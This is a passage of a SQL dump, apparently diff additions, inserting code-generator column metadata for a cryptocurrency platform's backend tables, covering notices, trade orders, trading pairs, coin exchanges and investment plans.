'1', 'EQ', 'input', '', 7, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (390, '29', 'status', '状态', 'int', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 8, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (391, '29', 'language_name', '语言', 'varchar(255)', 'String', 'languageName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 9, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (392, '29', 'likes_num', '点赞数', 'int', 'Long', 'likesNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (393, '29', 'home_type', '类型(0 首页文本 1 问题列表)', 'int', 'Long', 'homeType', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 11, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (394, '29', 'model_type', '功能(1 秒合约 2质押)', 'int', 'Long', 'modelType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 12, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (395, '29', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (415, '31', 'notice_id', '公告ID', 'int', 'Long', 'noticeId', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (416, '31', 'notice_title', '标题', 'varchar(50)', 'String', 'noticeTitle', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (417, '31', 'notice_type', '公告类型 1=公告信息 2=活动公告 3=首页滚动公告', 'char(1)', 'String', 'noticeType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 3, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (418, '31', 'model_type', '模块类型 1=公告信息 2=活动公告 3=首页滚动公告 \r\n1={1=链接弹窗 2=图文弹窗}, \r\n2={1=首页轮播活动 2=Defi挖矿活动图},\r\n3={1=首页滚动公告}\r\n注:没有二级的默认给1\r\n二级联动', 'char(1)', 'String', 'modelType', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 4, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (419, '31', 'notice_content', '内容', 'varchar(2000)', 'String', 'noticeContent', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'editor', '', 5, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (420, '31', 'comments_num', '评论数', 'int', 'Long', 'commentsNum', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (421, '31', 'cover', '图片', 'varchar(1024)', 'String', 'cover', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 7, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (422, '31', 'view_num', '浏览数', 'int', 'Long', 'viewNum', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (423, '31', 'expire_time', '公告截止时间', 'datetime', 'Date', 'expireTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 9, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (424, '31', 'img_url', '图片链接地址', 'varchar(1024)', 'String', 'imgUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 10, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (425, '31', 'chained_url', '链接地址', 'varchar(1024)', 'String', 'chainedUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 11, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (426, '31', 'detail_url', '详情页', 'varchar(500)', 'String', 'detailUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (427, '31', 'language_id', 'zh:1,cht:2,en:3,pt:4,sa:5,ko:6,ja:7,es:8,th:9,ms:10,id:11,fr:12,ru:13', 'int', 'Long', 'languageId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (428, '31', 'status', '公告状态(0正常 1关闭)', 'char(1)', 'String', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 14, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (429, '31', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (430, '31', 'remark', '备注', 'varchar(255)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'input', '', 16, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (431, '31', 'create_by', '创建人', 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 17, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (432, '31', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 18, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (433, '31', 'update_by', '修改人', 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 19, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (434, '31', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 20, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (435, '31', 'source', '展示端1=pc 2=h5', 'char(1)', 'String', 'source', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (480, '34', 'id', '主键', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (481, '34', 'type', '(0 买入 1卖出)', 'tinyint(1)', 'Integer', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 2, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (482, '34', 'delegate_type', '委托类型(0 限价 1 市价 2 止盈止损 3 计划委托)', 'tinyint(1)', 'Integer', 'delegateType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 3, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (483, '34', 'status', '状态 0 (等待成交 1 完全成交 3已撤销)', 'tinyint(1)', 'Integer', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 4, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (484, '34', 'order_no', '订单编号', 'varchar(64)', 'String', 'orderNo', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (485, '34', 'symbol', '交易币种', 'varchar(10)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (486, '34', 'coin', '结算币种', 'varchar(10)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (487, '34', 'fee', '手续费', 'decimal(20,2)', 'BigDecimal', 'fee', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (488, '34', 'delegate_total', '委托总量', 'decimal(20,6)', 'BigDecimal', 'delegateTotal', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (489, '34', 'delegate_price', '委托价格', 'decimal(20,6)', 'BigDecimal', 'delegatePrice', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (490, '34', 'deal_num', '已成交量', 'decimal(20,6)', 'BigDecimal', 'dealNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (491, '34', 'deal_price', '成交价', 'decimal(20,6)', 'BigDecimal', 'dealPrice', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (492, '34', 'delegate_value', '委托价值', 'decimal(20,2)', 'BigDecimal', 'delegateValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (493, '34', 'deal_value', '成交价值', 'decimal(20,2)', 'BigDecimal', 'dealValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (494, '34', 'delegate_time', '委托时间', 'datetime', 'Date', 'delegateTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 15, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (495, '34', 'deal_time', '成交时间', 'datetime', 'Date', 'dealTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 16, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (496, '34', 'user_id', '用户id', 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (497, '34', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 18, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (498, '34', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 19, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (499, '34', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 20, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (500, '35', 'id', '主键id', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (501, '35', 'pair_trading', '交易对', 'varchar(100)', 'String', 'pairTrading', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (502, '35', 'symbol', '交易币种', 'varchar(10)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (503, '35', 'coin', '结算币种', 'varchar(10)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (504, '35', 'fee_rate', '手续费率', 'decimal(20,6)', 'BigDecimal', 'feeRate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (505, '35', 'symbol_precision', '交易币种精度', 'tinyint', 'Long', 'symbolPrecision', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (506, '35', 'coin_precision', '结算币种精度', 'tinyint', 'Long', 'coinPrecision', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (507, '35', 'sell_min', '最低卖单价', 'decimal(20,6)', 'BigDecimal', 'sellMin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (508, '35', 'buy_max', '最高买单价', 'decimal(20,6)', 'BigDecimal', 'buyMax', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (509, '35', 'order_min', '最小下单量', 'bigint', 'Long', 'orderMin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (510, '35', 'order_max', '最大下单量', 'bigint', 'Long', 'orderMax', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (511, '35', 'enable', '启用禁用 1=启用 2=禁用', 'char(1)', 'String', 'enable', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (512, '35', 'is_show', '前端是否显示 1=显示 2=隐藏', 'char(1)', 'String', 'isShow', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (513, '35', 'is_deal', '是否可交易 1=是 2=否', 'char(1)', 'String', 'isDeal', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (514, '35', 'market_buy', '市价买 1=可以 2=不可以', 'char(1)', 'String', 'marketBuy', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (515, '35', 'market_sell', '市价卖 1=可以 2=不可以', 'char(1)', 'String', 'marketSell', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (516, '35', 'limited_buy', '限价买 1=可以 2=不可以', 'char(1)', 'String', 'limitedBuy', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (517, '35', 'limited_sell', '限价卖 1=可以 2=不可以', 'char(1)', 'String', 'limitedSell', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (518, '35', 'create_by', NULL, 'varchar(50)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 19, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (519, '35', 'create_date', NULL, 'datetime', 'Date', 'createDate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 20, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (520, '35', 'update_by', NULL, 'varchar(50)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 21, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (521, '35', 'update_date', NULL, 'datetime', 'Date', 'updateDate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 22, 'admin', '2023-07-25 11:09:50', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (522, '35', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 23, 'admin', '2023-07-25 11:09:50', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (523, '36', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-25 13:57:19', '', NULL); +INSERT INTO `gen_table_column` VALUES (524, '36', 'from_coin', NULL, 'varchar(32)', 'String', 'fromCoin', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-25 13:57:19', '', NULL); +INSERT INTO `gen_table_column` VALUES (525, '36', 'to_coin', NULL, 'varchar(32)', 'String', 'toCoin', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-25 13:57:19', '', NULL); +INSERT INTO `gen_table_column` VALUES (526, '36', 'user_id', '用户id', 'int', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-25 13:57:19', '', NULL); +INSERT INTO `gen_table_column` VALUES (527, '36', 'username', '\n用户名称', 'varchar(256)', 'String', 'username', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 5, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (528, '36', 'address', '用户地址', 'varchar(500)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 6, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (529, '36', 'status', '兑换状态0:已提交;1:成功;2失败', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 7, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (530, '36', 'amount', '金额', 'decimal(20,11)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (531, '36', 'third_rate', '三方汇率', 'decimal(20,12)', 'BigDecimal', 'thirdRate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (532, '36', 'system_rate', '系统汇率', 'decimal(20,12)', 'BigDecimal', 'systemRate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (533, '36', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 11, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (534, '36', 'create_time', NULL, 'datetime', 'Date', 'createTime', '0', '0', '1', '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 12, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (535, '36', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 13, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (536, '36', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 14, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (537, '36', 'remark', NULL, 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 15, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (538, '36', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 16, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (539, '37', 'id', NULL, 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (540, '37', 'amount', '投资金额(分)', 'decimal(20,4)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (541, '37', 'days', '投资期限(天)', 'int', 'Long', 'days', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (542, '37', 'status', '0 收益 1 结算', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 4, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (543, '37', 'plan_id', '项目id', 'bigint', 'Long', 'planId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (544, '37', 'plan_title', '项目名称', 'varchar(30)', 'String', 'planTitle', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (545, '37', 'order_no', '订单编号', 'varchar(30)', 'String', 'orderNo', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (546, '37', 'create_time', '投资时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 8, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (547, '37', 'end_time', '到期时间', 'datetime', 'Date', 'endTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 9, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (548, '37', 'settle_time', '结算时间', 'datetime', 'Date', 'settleTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 10, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (549, '37', 'accumula_earn', '累计收益', 'decimal(20,4)', 'BigDecimal', 'accumulaEarn', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (550, '37', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 12, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (551, '37', 'min_odds', '最小利率', 'decimal(8,2)', 'BigDecimal', 'minOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (552, '37', 'max_odds', '最大利率', 'decimal(8,2)', 'BigDecimal', 'maxOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (553, '37', 'admin_user_ids', '后台用户id', 'varchar(255)', 'String', 'adminUserIds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (554, '37', 'collection_order', NULL, 'varchar(100)', 'String', 'collectionOrder', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (555, '37', 'user_id', NULL, 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (556, '37', 'order_amount', NULL, 'decimal(20,4)', 'BigDecimal', 'orderAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (557, '38', 'id', NULL, 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (558, '38', 'title', '标题', 'varchar(255)', 'String', 'title', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (559, '38', 'icon', '图标', 'varchar(255)', 'String', 'icon', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (560, '38', 'status', '启用禁用(展示在前端)1开0关', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 4, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (561, '38', 'days', '天数(如 7,10,30)', 'varchar(200)', 'String', 'days', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (562, '38', 'default_odds', '违约利率', 'decimal(8,2)', 'BigDecimal', 'defaultOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (563, '38', 'min_odds', '最小日利率百分比', 'decimal(8,3)', 'BigDecimal', 'minOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (564, '38', 'max_odds', '最大日利率百分比', 'decimal(8,3)', 'BigDecimal', 'maxOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (565, '38', 'time_limit', '每人限购次数,0表示不限', 'int', 'Long', 'timeLimit', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (566, '38', 'limit_min', '最小金额', 'decimal(20,4)', 'BigDecimal', 'limitMin', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (567, '38', 